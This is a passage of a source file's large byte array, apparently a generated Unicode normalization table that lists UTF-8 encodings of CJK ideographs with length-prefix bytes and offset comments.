0x96, 0x97, 0x43, 0xE6, 0x96, 0x99, 0x43, 0xE6, + 0x96, 0xA4, 0x43, 0xE6, 0x96, 0xB0, 0x43, 0xE6, + 0x96, 0xB9, 0x43, 0xE6, 0x97, 0x85, 0x43, 0xE6, + // Bytes dc0 - dff + 0x97, 0xA0, 0x43, 0xE6, 0x97, 0xA2, 0x43, 0xE6, + 0x97, 0xA3, 0x43, 0xE6, 0x97, 0xA5, 0x43, 0xE6, + 0x98, 0x93, 0x43, 0xE6, 0x98, 0xA0, 0x43, 0xE6, + 0x99, 0x89, 0x43, 0xE6, 0x99, 0xB4, 0x43, 0xE6, + 0x9A, 0x88, 0x43, 0xE6, 0x9A, 0x91, 0x43, 0xE6, + 0x9A, 0x9C, 0x43, 0xE6, 0x9A, 0xB4, 0x43, 0xE6, + 0x9B, 0x86, 0x43, 0xE6, 0x9B, 0xB0, 0x43, 0xE6, + 0x9B, 0xB4, 0x43, 0xE6, 0x9B, 0xB8, 0x43, 0xE6, + // Bytes e00 - e3f + 0x9C, 0x80, 0x43, 0xE6, 0x9C, 0x88, 0x43, 0xE6, + 0x9C, 0x89, 0x43, 0xE6, 0x9C, 0x97, 0x43, 0xE6, + 0x9C, 0x9B, 0x43, 0xE6, 0x9C, 0xA1, 0x43, 0xE6, + 0x9C, 0xA8, 0x43, 0xE6, 0x9D, 0x8E, 0x43, 0xE6, + 0x9D, 0x93, 0x43, 0xE6, 0x9D, 0x96, 0x43, 0xE6, + 0x9D, 0x9E, 0x43, 0xE6, 0x9D, 0xBB, 0x43, 0xE6, + 0x9E, 0x85, 0x43, 0xE6, 0x9E, 0x97, 0x43, 0xE6, + 0x9F, 0xB3, 0x43, 0xE6, 0x9F, 0xBA, 0x43, 0xE6, + // Bytes e40 - e7f + 0xA0, 0x97, 0x43, 0xE6, 0xA0, 0x9F, 0x43, 0xE6, + 0xA0, 0xAA, 0x43, 0xE6, 0xA1, 0x92, 0x43, 0xE6, + 0xA2, 0x81, 0x43, 0xE6, 0xA2, 0x85, 0x43, 0xE6, + 0xA2, 0x8E, 0x43, 0xE6, 0xA2, 0xA8, 0x43, 0xE6, + 0xA4, 0x94, 0x43, 0xE6, 0xA5, 0x82, 0x43, 0xE6, + 0xA6, 0xA3, 0x43, 0xE6, 0xA7, 0xAA, 0x43, 0xE6, + 0xA8, 0x82, 0x43, 0xE6, 0xA8, 0x93, 0x43, 0xE6, + 0xAA, 0xA8, 0x43, 0xE6, 0xAB, 0x93, 0x43, 0xE6, + // Bytes e80 - ebf + 0xAB, 0x9B, 0x43, 0xE6, 0xAC, 0x84, 0x43, 0xE6, + 0xAC, 0xA0, 0x43, 0xE6, 0xAC, 0xA1, 0x43, 0xE6, + 0xAD, 0x94, 0x43, 0xE6, 0xAD, 0xA2, 0x43, 0xE6, + 0xAD, 0xA3, 0x43, 0xE6, 0xAD, 0xB2, 0x43, 0xE6, + 0xAD, 0xB7, 0x43, 0xE6, 0xAD, 0xB9, 0x43, 0xE6, + 0xAE, 0x9F, 0x43, 0xE6, 0xAE, 0xAE, 0x43, 0xE6, + 0xAE, 0xB3, 0x43, 0xE6, 0xAE, 0xBA, 0x43, 0xE6, + 0xAE, 0xBB, 0x43, 0xE6, 0xAF, 0x8B, 0x43, 0xE6, + // Bytes ec0 - eff + 0xAF, 0x8D, 0x43, 0xE6, 0xAF, 0x94, 0x43, 0xE6, + 0xAF, 0x9B, 0x43, 0xE6, 0xB0, 0x8F, 0x43, 0xE6, + 0xB0, 0x94, 0x43, 0xE6, 0xB0, 0xB4, 0x43, 0xE6, + 0xB1, 0x8E, 0x43, 0xE6, 0xB1, 0xA7, 0x43, 0xE6, + 0xB2, 0x88, 0x43, 0xE6, 0xB2, 0xBF, 0x43, 0xE6, + 0xB3, 0x8C, 0x43, 0xE6, 0xB3, 0x8D, 0x43, 0xE6, + 0xB3, 0xA5, 0x43, 0xE6, 0xB3, 0xA8, 0x43, 0xE6, + 0xB4, 0x96, 0x43, 0xE6, 0xB4, 0x9B, 0x43, 0xE6, + // Bytes f00 - f3f + 0xB4, 0x9E, 0x43, 0xE6, 0xB4, 0xB4, 0x43, 0xE6, + 0xB4, 0xBE, 0x43, 0xE6, 0xB5, 0x81, 0x43, 0xE6, + 0xB5, 0xA9, 0x43, 0xE6, 0xB5, 0xAA, 0x43, 0xE6, + 0xB5, 0xB7, 0x43, 0xE6, 0xB5, 0xB8, 0x43, 0xE6, + 0xB6, 0x85, 0x43, 0xE6, 0xB7, 0x8B, 0x43, 0xE6, + 0xB7, 0x9A, 0x43, 0xE6, 0xB7, 0xAA, 0x43, 0xE6, + 0xB7, 0xB9, 0x43, 0xE6, 0xB8, 0x9A, 0x43, 0xE6, + 0xB8, 0xAF, 0x43, 0xE6, 0xB9, 0xAE, 0x43, 0xE6, + // Bytes f40 - f7f + 0xBA, 0x80, 0x43, 0xE6, 0xBA, 0x9C, 0x43, 0xE6, + 0xBA, 0xBA, 0x43, 0xE6, 0xBB, 0x87, 0x43, 0xE6, + 0xBB, 0x8B, 0x43, 0xE6, 0xBB, 0x91, 0x43, 0xE6, + 0xBB, 0x9B, 0x43, 0xE6, 0xBC, 0x8F, 0x43, 0xE6, + 0xBC, 0x94, 0x43, 0xE6, 0xBC, 0xA2, 0x43, 0xE6, + 0xBC, 0xA3, 0x43, 0xE6, 0xBD, 0xAE, 0x43, 0xE6, + 0xBF, 0x86, 0x43, 0xE6, 0xBF, 0xAB, 0x43, 0xE6, + 0xBF, 0xBE, 0x43, 0xE7, 0x80, 0x9B, 0x43, 0xE7, + // Bytes f80 - fbf + 0x80, 0x9E, 0x43, 0xE7, 0x80, 0xB9, 0x43, 0xE7, + 0x81, 0x8A, 0x43, 0xE7, 0x81, 0xAB, 0x43, 0xE7, + 0x81, 0xB0, 0x43, 0xE7, 0x81, 0xB7, 0x43, 0xE7, + 0x81, 0xBD, 0x43, 0xE7, 0x82, 0x99, 0x43, 0xE7, + 0x82, 0xAD, 0x43, 0xE7, 0x83, 0x88, 0x43, 0xE7, + 0x83, 0x99, 0x43, 0xE7, 0x84, 0xA1, 0x43, 0xE7, + 0x85, 0x85, 0x43, 0xE7, 0x85, 0x89, 0x43, 0xE7, + 0x85, 0xAE, 0x43, 0xE7, 0x86, 0x9C, 0x43, 0xE7, + // Bytes fc0 - fff + 0x87, 0x8E, 0x43, 0xE7, 0x87, 0x90, 0x43, 0xE7, + 0x88, 0x90, 0x43, 0xE7, 0x88, 0x9B, 0x43, 0xE7, + 0x88, 0xA8, 0x43, 0xE7, 0x88, 0xAA, 0x43, 0xE7, + 0x88, 0xAB, 0x43, 0xE7, 0x88, 0xB5, 0x43, 0xE7, + 0x88, 0xB6, 0x43, 0xE7, 0x88, 0xBB, 0x43, 0xE7, + 0x88, 0xBF, 0x43, 0xE7, 0x89, 0x87, 0x43, 0xE7, + 0x89, 0x90, 0x43, 0xE7, 0x89, 0x99, 0x43, 0xE7, + 0x89, 0x9B, 0x43, 0xE7, 0x89, 0xA2, 0x43, 0xE7, + // Bytes 1000 - 103f + 0x89, 0xB9, 0x43, 0xE7, 0x8A, 0x80, 0x43, 0xE7, + 0x8A, 0x95, 0x43, 0xE7, 0x8A, 0xAC, 0x43, 0xE7, + 0x8A, 0xAF, 0x43, 0xE7, 0x8B, 0x80, 0x43, 0xE7, + 0x8B, 0xBC, 0x43, 0xE7, 0x8C, 0xAA, 0x43, 0xE7, + 0x8D, 0xB5, 0x43, 0xE7, 0x8D, 0xBA, 0x43, 0xE7, + 0x8E, 0x84, 0x43, 0xE7, 0x8E, 0x87, 0x43, 0xE7, + 0x8E, 0x89, 0x43, 0xE7, 0x8E, 0x8B, 0x43, 0xE7, + 0x8E, 0xA5, 0x43, 0xE7, 0x8E, 0xB2, 0x43, 0xE7, + // Bytes 1040 - 107f + 0x8F, 0x9E, 0x43, 0xE7, 0x90, 0x86, 0x43, 0xE7, + 0x90, 0x89, 0x43, 0xE7, 0x90, 0xA2, 0x43, 0xE7, + 0x91, 0x87, 0x43, 0xE7, 0x91, 0x9C, 0x43, 0xE7, + 0x91, 0xA9, 0x43, 0xE7, 0x91, 0xB1, 0x43, 0xE7, + 0x92, 0x85, 0x43, 0xE7, 0x92, 0x89, 0x43, 0xE7, + 0x92, 0x98, 0x43, 0xE7, 0x93, 0x8A, 0x43, 0xE7, + 0x93, 0x9C, 0x43, 0xE7, 0x93, 0xA6, 0x43, 0xE7, + 0x94, 0x86, 0x43, 0xE7, 0x94, 0x98, 0x43, 0xE7, + // Bytes 1080 - 10bf + 0x94, 0x9F, 0x43, 0xE7, 0x94, 0xA4, 0x43, 0xE7, + 0x94, 0xA8, 0x43, 0xE7, 0x94, 0xB0, 0x43, 0xE7, + 0x94, 0xB2, 0x43, 0xE7, 0x94, 0xB3, 0x43, 0xE7, + 0x94, 0xB7, 0x43, 0xE7, 0x94, 0xBB, 0x43, 0xE7, + 0x94, 0xBE, 0x43, 0xE7, 0x95, 0x99, 0x43, 0xE7, + 0x95, 0xA5, 0x43, 0xE7, 0x95, 0xB0, 0x43, 0xE7, + 0x96, 0x8B, 0x43, 0xE7, 0x96, 0x92, 0x43, 0xE7, + 0x97, 0xA2, 0x43, 0xE7, 0x98, 0x90, 0x43, 0xE7, + // Bytes 10c0 - 10ff + 0x98, 0x9D, 0x43, 0xE7, 0x98, 0x9F, 0x43, 0xE7, + 0x99, 0x82, 0x43, 0xE7, 0x99, 0xA9, 0x43, 0xE7, + 0x99, 0xB6, 0x43, 0xE7, 0x99, 0xBD, 0x43, 0xE7, + 0x9A, 0xAE, 0x43, 0xE7, 0x9A, 0xBF, 0x43, 0xE7, + 0x9B, 0x8A, 0x43, 0xE7, 0x9B, 0x9B, 0x43, 0xE7, + 0x9B, 0xA3, 0x43, 0xE7, 0x9B, 0xA7, 0x43, 0xE7, + 0x9B, 0xAE, 0x43, 0xE7, 0x9B, 0xB4, 0x43, 0xE7, + 0x9C, 0x81, 0x43, 0xE7, 0x9C, 0x9E, 0x43, 0xE7, + // Bytes 1100 - 113f + 0x9C, 0x9F, 0x43, 0xE7, 0x9D, 0x80, 0x43, 0xE7, + 0x9D, 0x8A, 0x43, 0xE7, 0x9E, 0x8B, 0x43, 0xE7, + 0x9E, 0xA7, 0x43, 0xE7, 0x9F, 0x9B, 0x43, 0xE7, + 0x9F, 0xA2, 0x43, 0xE7, 0x9F, 0xB3, 0x43, 0xE7, + 0xA1, 0x8E, 0x43, 0xE7, 0xA1, 0xAB, 0x43, 0xE7, + 0xA2, 0x8C, 0x43, 0xE7, 0xA2, 0x91, 0x43, 0xE7, + 0xA3, 0x8A, 0x43, 0xE7, 0xA3, 0x8C, 0x43, 0xE7, + 0xA3, 0xBB, 0x43, 0xE7, 0xA4, 0xAA, 0x43, 0xE7, + // Bytes 1140 - 117f + 0xA4, 0xBA, 0x43, 0xE7, 0xA4, 0xBC, 0x43, 0xE7, + 0xA4, 0xBE, 0x43, 0xE7, 0xA5, 0x88, 0x43, 0xE7, + 0xA5, 0x89, 0x43, 0xE7, 0xA5, 0x90, 0x43, 0xE7, + 0xA5, 0x96, 0x43, 0xE7, 0xA5, 0x9D, 0x43, 0xE7, + 0xA5, 0x9E, 0x43, 0xE7, 0xA5, 0xA5, 0x43, 0xE7, + 0xA5, 0xBF, 0x43, 0xE7, 0xA6, 0x81, 0x43, 0xE7, + 0xA6, 0x8D, 0x43, 0xE7, 0xA6, 0x8E, 0x43, 0xE7, + 0xA6, 0x8F, 0x43, 0xE7, 0xA6, 0xAE, 0x43, 0xE7, + // Bytes 1180 - 11bf + 0xA6, 0xB8, 0x43, 0xE7, 0xA6, 0xBE, 0x43, 0xE7, + 0xA7, 0x8A, 0x43, 0xE7, 0xA7, 0x98, 0x43, 0xE7, + 0xA7, 0xAB, 0x43, 0xE7, 0xA8, 0x9C, 0x43, 0xE7, + 0xA9, 0x80, 0x43, 0xE7, 0xA9, 0x8A, 0x43, 0xE7, + 0xA9, 0x8F, 0x43, 0xE7, 0xA9, 0xB4, 0x43, 0xE7, + 0xA9, 0xBA, 0x43, 0xE7, 0xAA, 0x81, 0x43, 0xE7, + 0xAA, 0xB1, 0x43, 0xE7, 0xAB, 0x8B, 0x43, 0xE7, + 0xAB, 0xAE, 0x43, 0xE7, 0xAB, 0xB9, 0x43, 0xE7, + // Bytes 11c0 - 11ff + 0xAC, 0xA0, 0x43, 0xE7, 0xAE, 0x8F, 0x43, 0xE7, + 0xAF, 0x80, 0x43, 0xE7, 0xAF, 0x86, 0x43, 0xE7, + 0xAF, 0x89, 0x43, 0xE7, 0xB0, 0xBE, 0x43, 0xE7, + 0xB1, 0xA0, 0x43, 0xE7, 0xB1, 0xB3, 0x43, 0xE7, + 0xB1, 0xBB, 0x43, 0xE7, 0xB2, 0x92, 0x43, 0xE7, + 0xB2, 0xBE, 0x43, 0xE7, 0xB3, 0x92, 0x43, 0xE7, + 0xB3, 0x96, 0x43, 0xE7, 0xB3, 0xA3, 0x43, 0xE7, + 0xB3, 0xA7, 0x43, 0xE7, 0xB3, 0xA8, 0x43, 0xE7, + // Bytes 1200 - 123f + 0xB3, 0xB8, 0x43, 0xE7, 0xB4, 0x80, 0x43, 0xE7, + 0xB4, 0x90, 0x43, 0xE7, 0xB4, 0xA2, 0x43, 0xE7, + 0xB4, 0xAF, 0x43, 0xE7, 0xB5, 0x82, 0x43, 0xE7, + 0xB5, 0x9B, 0x43, 0xE7, 0xB5, 0xA3, 0x43, 0xE7, + 0xB6, 0xA0, 0x43, 0xE7, 0xB6, 0xBE, 0x43, 0xE7, + 0xB7, 0x87, 0x43, 0xE7, 0xB7, 0xB4, 0x43, 0xE7, + 0xB8, 0x82, 0x43, 0xE7, 0xB8, 0x89, 0x43, 0xE7, + 0xB8, 0xB7, 0x43, 0xE7, 0xB9, 0x81, 0x43, 0xE7, + // Bytes 1240 - 127f + 0xB9, 0x85, 0x43, 0xE7, 0xBC, 0xB6, 0x43, 0xE7, + 0xBC, 0xBE, 0x43, 0xE7, 0xBD, 0x91, 0x43, 0xE7, + 0xBD, 0xB2, 0x43, 0xE7, 0xBD, 0xB9, 0x43, 0xE7, + 0xBD, 0xBA, 0x43, 0xE7, 0xBE, 0x85, 0x43, 0xE7, + 0xBE, 0x8A, 0x43, 0xE7, 0xBE, 0x95, 0x43, 0xE7, + 0xBE, 0x9A, 0x43, 0xE7, 0xBE, 0xBD, 0x43, 0xE7, + 0xBF, 0xBA, 0x43, 0xE8, 0x80, 0x81, 0x43, 0xE8, + 0x80, 0x85, 0x43, 0xE8, 0x80, 0x8C, 0x43, 0xE8, + // Bytes 1280 - 12bf + 0x80, 0x92, 0x43, 0xE8, 0x80, 0xB3, 0x43, 0xE8, + 0x81, 0x86, 0x43, 0xE8, 0x81, 0xA0, 0x43, 0xE8, + 0x81, 0xAF, 0x43, 0xE8, 0x81, 0xB0, 0x43, 0xE8, + 0x81, 0xBE, 0x43, 0xE8, 0x81, 0xBF, 0x43, 0xE8, + 0x82, 0x89, 0x43, 0xE8, 0x82, 0x8B, 0x43, 0xE8, + 0x82, 0xAD, 0x43, 0xE8, 0x82, 0xB2, 0x43, 0xE8, + 0x84, 0x83, 0x43, 0xE8, 0x84, 0xBE, 0x43, 0xE8, + 0x87, 0x98, 0x43, 0xE8, 0x87, 0xA3, 0x43, 0xE8, + // Bytes 12c0 - 12ff + 0x87, 0xA8, 0x43, 0xE8, 0x87, 0xAA, 0x43, 0xE8, + 0x87, 0xAD, 0x43, 0xE8, 0x87, 0xB3, 0x43, 0xE8, + 0x87, 0xBC, 0x43, 0xE8, 0x88, 0x81, 0x43, 0xE8, + 0x88, 0x84, 0x43, 0xE8, 0x88, 0x8C, 0x43, 0xE8, + 0x88, 0x98, 0x43, 0xE8, 0x88, 0x9B, 0x43, 0xE8, + 0x88, 0x9F, 0x43, 0xE8, 0x89, 0xAE, 0x43, 0xE8, + 0x89, 0xAF, 0x43, 0xE8, 0x89, 0xB2, 0x43, 0xE8, + 0x89, 0xB8, 0x43, 0xE8, 0x89, 0xB9, 0x43, 0xE8, + // Bytes 1300 - 133f + 0x8A, 0x8B, 0x43, 0xE8, 0x8A, 0x91, 0x43, 0xE8, + 0x8A, 0x9D, 0x43, 0xE8, 0x8A, 0xB1, 0x43, 0xE8, + 0x8A, 0xB3, 0x43, 0xE8, 0x8A, 0xBD, 0x43, 0xE8, + 0x8B, 0xA5, 0x43, 0xE8, 0x8B, 0xA6, 0x43, 0xE8, + 0x8C, 0x9D, 0x43, 0xE8, 0x8C, 0xA3, 0x43, 0xE8, + 0x8C, 0xB6, 0x43, 0xE8, 0x8D, 0x92, 0x43, 0xE8, + 0x8D, 0x93, 0x43, 0xE8, 0x8D, 0xA3, 0x43, 0xE8, + 0x8E, 0xAD, 0x43, 0xE8, 0x8E, 0xBD, 0x43, 0xE8, + // Bytes 1340 - 137f + 0x8F, 0x89, 0x43, 0xE8, 0x8F, 0x8A, 0x43, 0xE8, + 0x8F, 0x8C, 0x43, 0xE8, 0x8F, 0x9C, 0x43, 0xE8, + 0x8F, 0xA7, 0x43, 0xE8, 0x8F, 0xAF, 0x43, 0xE8, + 0x8F, 0xB1, 0x43, 0xE8, 0x90, 0xBD, 0x43, 0xE8, + 0x91, 0x89, 0x43, 0xE8, 0x91, 0x97, 0x43, 0xE8, + 0x93, 0xAE, 0x43, 0xE8, 0x93, 0xB1, 0x43, 0xE8, + 0x93, 0xB3, 0x43, 0xE8, 0x93, 0xBC, 0x43, 0xE8, + 0x94, 0x96, 0x43, 0xE8, 0x95, 0xA4, 0x43, 0xE8, + // Bytes 1380 - 13bf + 0x97, 0x8D, 0x43, 0xE8, 0x97, 0xBA, 0x43, 0xE8, + 0x98, 0x86, 0x43, 0xE8, 0x98, 0x92, 0x43, 0xE8, + 0x98, 0xAD, 0x43, 0xE8, 0x98, 0xBF, 0x43, 0xE8, + 0x99, 0x8D, 0x43, 0xE8, 0x99, 0x90, 0x43, 0xE8, + 0x99, 0x9C, 0x43, 0xE8, 0x99, 0xA7, 0x43, 0xE8, + 0x99, 0xA9, 0x43, 0xE8, 0x99, 0xAB, 0x43, 0xE8, + 0x9A, 0x88, 0x43, 0xE8, 0x9A, 0xA9, 0x43, 0xE8, + 0x9B, 0xA2, 0x43, 0xE8, 0x9C, 0x8E, 0x43, 0xE8, + // Bytes 13c0 - 13ff + 0x9C, 0xA8, 0x43, 0xE8, 0x9D, 0xAB, 0x43, 0xE8, + 0x9D, 0xB9, 0x43, 0xE8, 0x9E, 0x86, 0x43, 0xE8, + 0x9E, 0xBA, 0x43, 0xE8, 0x9F, 0xA1, 0x43, 0xE8, + 0xA0, 0x81, 0x43, 0xE8, 0xA0, 0x9F, 0x43, 0xE8, + 0xA1, 0x80, 0x43, 0xE8, 0xA1, 0x8C, 0x43, 0xE8, + 0xA1, 0xA0, 0x43, 0xE8, 0xA1, 0xA3, 0x43, 0xE8, + 0xA3, 0x82, 0x43, 0xE8, 0xA3, 0x8F, 0x43, 0xE8, + 0xA3, 0x97, 0x43, 0xE8, 0xA3, 0x9E, 0x43, 0xE8, + // Bytes 1400 - 143f + 0xA3, 0xA1, 0x43, 0xE8, 0xA3, 0xB8, 0x43, 0xE8, + 0xA3, 0xBA, 0x43, 0xE8, 0xA4, 0x90, 0x43, 0xE8, + 0xA5, 0x81, 0x43, 0xE8, 0xA5, 0xA4, 0x43, 0xE8, + 0xA5, 0xBE, 0x43, 0xE8, 0xA6, 0x86, 0x43, 0xE8, + 0xA6, 0x8B, 0x43, 0xE8, 0xA6, 0x96, 0x43, 0xE8, + 0xA7, 0x92, 0x43, 0xE8, 0xA7, 0xA3, 0x43, 0xE8, + 0xA8, 0x80, 0x43, 0xE8, 0xAA, 0xA0, 0x43, 0xE8, + 0xAA, 0xAA, 0x43, 0xE8, 0xAA, 0xBF, 0x43, 0xE8, + // Bytes 1440 - 147f + 0xAB, 0x8B, 0x43, 0xE8, 0xAB, 0x92, 0x43, 0xE8, + 0xAB, 0x96, 0x43, 0xE8, 0xAB, 0xAD, 0x43, 0xE8, + 0xAB, 0xB8, 0x43, 0xE8, 0xAB, 0xBE, 0x43, 0xE8, + 0xAC, 0x81, 0x43, 0xE8, 0xAC, 0xB9, 0x43, 0xE8, + 0xAD, 0x98, 0x43, 0xE8, 0xAE, 0x80, 0x43, 0xE8, + 0xAE, 0x8A, 0x43, 0xE8, 0xB0, 0xB7, 0x43, 0xE8, + 0xB1, 0x86, 0x43, 0xE8, 0xB1, 0x88, 0x43, 0xE8, + 0xB1, 0x95, 0x43, 0xE8, 0xB1, 0xB8, 0x43, 0xE8, + // Bytes 1480 - 14bf + 0xB2, 0x9D, 0x43, 0xE8, 0xB2, 0xA1, 0x43, 0xE8, + 0xB2, 0xA9, 0x43, 0xE8, 0xB2, 0xAB, 0x43, 0xE8, + 0xB3, 0x81, 0x43, 0xE8, 0xB3, 0x82, 0x43, 0xE8, + 0xB3, 0x87, 0x43, 0xE8, 0xB3, 0x88, 0x43, 0xE8, + 0xB3, 0x93, 0x43, 0xE8, 0xB4, 0x88, 0x43, 0xE8, + 0xB4, 0x9B, 0x43, 0xE8, 0xB5, 0xA4, 0x43, 0xE8, + 0xB5, 0xB0, 0x43, 0xE8, 0xB5, 0xB7, 0x43, 0xE8, + 0xB6, 0xB3, 0x43, 0xE8, 0xB6, 0xBC, 0x43, 0xE8, + // Bytes 14c0 - 14ff + 0xB7, 0x8B, 0x43, 0xE8, 0xB7, 0xAF, 0x43, 0xE8, + 0xB7, 0xB0, 0x43, 0xE8, 0xBA, 0xAB, 0x43, 0xE8, + 0xBB, 0x8A, 0x43, 0xE8, 0xBB, 0x94, 0x43, 0xE8, + 0xBC, 0xA6, 0x43, 0xE8, 0xBC, 0xAA, 0x43, 0xE8, + 0xBC, 0xB8, 0x43, 0xE8, 0xBC, 0xBB, 0x43, 0xE8, + 0xBD, 0xA2, 0x43, 0xE8, 0xBE, 0x9B, 0x43, 0xE8, + 0xBE, 0x9E, 0x43, 0xE8, 0xBE, 0xB0, 0x43, 0xE8, + 0xBE, 0xB5, 0x43, 0xE8, 0xBE, 0xB6, 0x43, 0xE9, + // Bytes 1500 - 153f + 0x80, 0xA3, 0x43, 0xE9, 0x80, 0xB8, 0x43, 0xE9, + 0x81, 0x8A, 0x43, 0xE9, 0x81, 0xA9, 0x43, 0xE9, + 0x81, 0xB2, 0x43, 0xE9, 0x81, 0xBC, 0x43, 0xE9, + 0x82, 0x8F, 0x43, 0xE9, 0x82, 0x91, 0x43, 0xE9, + 0x82, 0x94, 0x43, 0xE9, 0x83, 0x8E, 0x43, 0xE9, + 0x83, 0x9E, 0x43, 0xE9, 0x83, 0xB1, 0x43, 0xE9, + 0x83, 0xBD, 0x43, 0xE9, 0x84, 0x91, 0x43, 0xE9, + 0x84, 0x9B, 0x43, 0xE9, 0x85, 0x89, 0x43, 0xE9, + // Bytes 1540 - 157f + 0x85, 0x8D, 0x43, 0xE9, 0x85, 0xAA, 0x43, 0xE9, + 0x86, 0x99, 0x43, 0xE9, 0x86, 0xB4, 0x43, 0xE9, + 0x87, 0x86, 0x43, 0xE9, 0x87, 0x8C, 0x43, 0xE9, + 0x87, 0x8F, 0x43, 0xE9, 0x87, 0x91, 0x43, 0xE9, + 0x88, 0xB4, 0x43, 0xE9, 0x88, 0xB8, 0x43, 0xE9, + 0x89, 0xB6, 0x43, 0xE9, 0x89, 0xBC, 0x43, 0xE9, + 0x8B, 0x97, 0x43, 0xE9, 0x8B, 0x98, 0x43, 0xE9, + 0x8C, 0x84, 0x43, 0xE9, 0x8D, 0x8A, 0x43, 0xE9, + // Bytes 1580 - 15bf + 0x8F, 0xB9, 0x43, 0xE9, 0x90, 0x95, 0x43, 0xE9, + 0x95, 0xB7, 0x43, 0xE9, 0x96, 0x80, 0x43, 0xE9, + 0x96, 0x8B, 0x43, 0xE9, 0x96, 0xAD, 0x43, 0xE9, + 0x96, 0xB7, 0x43, 0xE9, 0x98, 0x9C, 0x43, 0xE9, + 0x98, 0xAE, 0x43, 0xE9, 0x99, 0x8B, 0x43, 0xE9, + 0x99, 0x8D, 0x43, 0xE9, 0x99, 0xB5, 0x43, 0xE9, + 0x99, 0xB8, 0x43, 0xE9, 0x99, 0xBC, 0x43, 0xE9, + 0x9A, 0x86, 0x43, 0xE9, 0x9A, 0xA3, 0x43, 0xE9, + // Bytes 15c0 - 15ff + 0x9A, 0xB6, 0x43, 0xE9, 0x9A, 0xB7, 0x43, 0xE9, + 0x9A, 0xB8, 0x43, 0xE9, 0x9A, 0xB9, 0x43, 0xE9, + 0x9B, 0x83, 0x43, 0xE9, 0x9B, 0xA2, 0x43, 0xE9, + 0x9B, 0xA3, 0x43, 0xE9, 0x9B, 0xA8, 0x43, 0xE9, + 0x9B, 0xB6, 0x43, 0xE9, 0x9B, 0xB7, 0x43, 0xE9, + 0x9C, 0xA3, 0x43, 0xE9, 0x9C, 0xB2, 0x43, 0xE9, + 0x9D, 0x88, 0x43, 0xE9, 0x9D, 0x91, 0x43, 0xE9, + 0x9D, 0x96, 0x43, 0xE9, 0x9D, 0x9E, 0x43, 0xE9, + // Bytes 1600 - 163f + 0x9D, 0xA2, 0x43, 0xE9, 0x9D, 0xA9, 0x43, 0xE9, + 0x9F, 0x8B, 0x43, 0xE9, 0x9F, 0x9B, 0x43, 0xE9, + 0x9F, 0xA0, 0x43, 0xE9, 0x9F, 0xAD, 0x43, 0xE9, + 0x9F, 0xB3, 0x43, 0xE9, 0x9F, 0xBF, 0x43, 0xE9, + 0xA0, 0x81, 0x43, 0xE9, 0xA0, 0x85, 0x43, 0xE9, + 0xA0, 0x8B, 0x43, 0xE9, 0xA0, 0x98, 0x43, 0xE9, + 0xA0, 0xA9, 0x43, 0xE9, 0xA0, 0xBB, 0x43, 0xE9, + 0xA1, 0x9E, 0x43, 0xE9, 0xA2, 0xA8, 0x43, 0xE9, + // Bytes 1640 - 167f + 0xA3, 0x9B, 0x43, 0xE9, 0xA3, 0x9F, 0x43, 0xE9, + 0xA3, 0xA2, 0x43, 0xE9, 0xA3, 0xAF, 0x43, 0xE9, + 0xA3, 0xBC, 0x43, 0xE9, 0xA4, 0xA8, 0x43, 0xE9, + 0xA4, 0xA9, 0x43, 0xE9, 0xA6, 0x96, 0x43, 0xE9, + 0xA6, 0x99, 0x43, 0xE9, 0xA6, 0xA7, 0x43, 0xE9, + 0xA6, 0xAC, 0x43, 0xE9, 0xA7, 0x82, 0x43, 0xE9, + 0xA7, 0xB1, 0x43, 0xE9, 0xA7, 0xBE, 0x43, 0xE9, + 0xA9, 0xAA, 0x43, 0xE9, 0xAA, 0xA8, 0x43, 0xE9, + // Bytes 1680 - 16bf + 0xAB, 0x98, 0x43, 0xE9, 0xAB, 0x9F, 0x43, 0xE9, + 0xAC, 0x92, 0x43, 0xE9, 0xAC, 0xA5, 0x43, 0xE9, + 0xAC, 0xAF, 0x43, 0xE9, 0xAC, 0xB2, 0x43, 0xE9, + 0xAC, 0xBC, 0x43, 0xE9, 0xAD, 0x9A, 0x43, 0xE9, + 0xAD, 0xAF, 0x43, 0xE9, 0xB1, 0x80, 0x43, 0xE9, + 0xB1, 0x97, 0x43, 0xE9, 0xB3, 0xA5, 0x43, 0xE9, + 0xB3, 0xBD, 0x43, 0xE9, 0xB5, 0xA7, 0x43, 0xE9, + 0xB6, 0xB4, 0x43, 0xE9, 0xB7, 0xBA, 0x43, 0xE9, + // Bytes 16c0 - 16ff + 0xB8, 0x9E, 0x43, 0xE9, 0xB9, 0xB5, 0x43, 0xE9, + 0xB9, 0xBF, 0x43, 0xE9, 0xBA, 0x97, 0x43, 0xE9, + 0xBA, 0x9F, 0x43, 0xE9, 0xBA, 0xA5, 0x43, 0xE9, + 0xBA, 0xBB, 0x43, 0xE9, 0xBB, 0x83, 0x43, 0xE9, + 0xBB, 0x8D, 0x43, 0xE9, 0xBB, 0x8E, 0x43, 0xE9, + 0xBB, 0x91, 0x43, 0xE9, 0xBB, 0xB9, 0x43, 0xE9, + 0xBB, 0xBD, 0x43, 0xE9, 0xBB, 0xBE, 0x43, 0xE9, + 0xBC, 0x85, 0x43, 0xE9, 0xBC, 0x8E, 0x43, 0xE9, + // Bytes 1700 - 173f + 0xBC, 0x8F, 0x43, 0xE9, 0xBC, 0x93, 0x43, 0xE9, + 0xBC, 0x96, 0x43, 0xE9, 0xBC, 0xA0, 0x43, 0xE9, + 0xBC, 0xBB, 0x43, 0xE9, 0xBD, 0x83, 0x43, 0xE9, + 0xBD, 0x8A, 0x43, 0xE9, 0xBD, 0x92, 0x43, 0xE9, + 0xBE, 0x8D, 0x43, 0xE9, 0xBE, 0x8E, 0x43, 0xE9, + 0xBE, 0x9C, 0x43, 0xE9, 0xBE, 0x9F, 0x43, 0xE9, + 0xBE, 0xA0, 0x43, 0xEA, 0x99, 0x91, 0x43, 0xEA, + 0x9A, 0x89, 0x43, 0xEA, 0x9C, 0xA7, 0x43, 0xEA, + // Bytes 1740 - 177f + 0x9D, 0xAF, 0x43, 0xEA, 0x9E, 0x8E, 0x43, 0xEA, + 0xAC, 0xB7, 0x43, 0xEA, 0xAD, 0x92, 0x43, 0xEA, + 0xAD, 0xA6, 0x43, 0xEA, 0xAD, 0xA7, 0x44, 0xF0, + 0x9D, 0xBC, 0x84, 0x44, 0xF0, 0x9D, 0xBC, 0x85, + 0x44, 0xF0, 0x9D, 0xBC, 0x86, 0x44, 0xF0, 0x9D, + 0xBC, 0x88, 0x44, 0xF0, 0x9D, 0xBC, 0x8A, 0x44, + 0xF0, 0x9D, 0xBC, 0x9E, 0x44, 0xF0, 0xA0, 0x84, + 0xA2, 0x44, 0xF0, 0xA0, 0x94, 0x9C, 0x44, 0xF0, + // 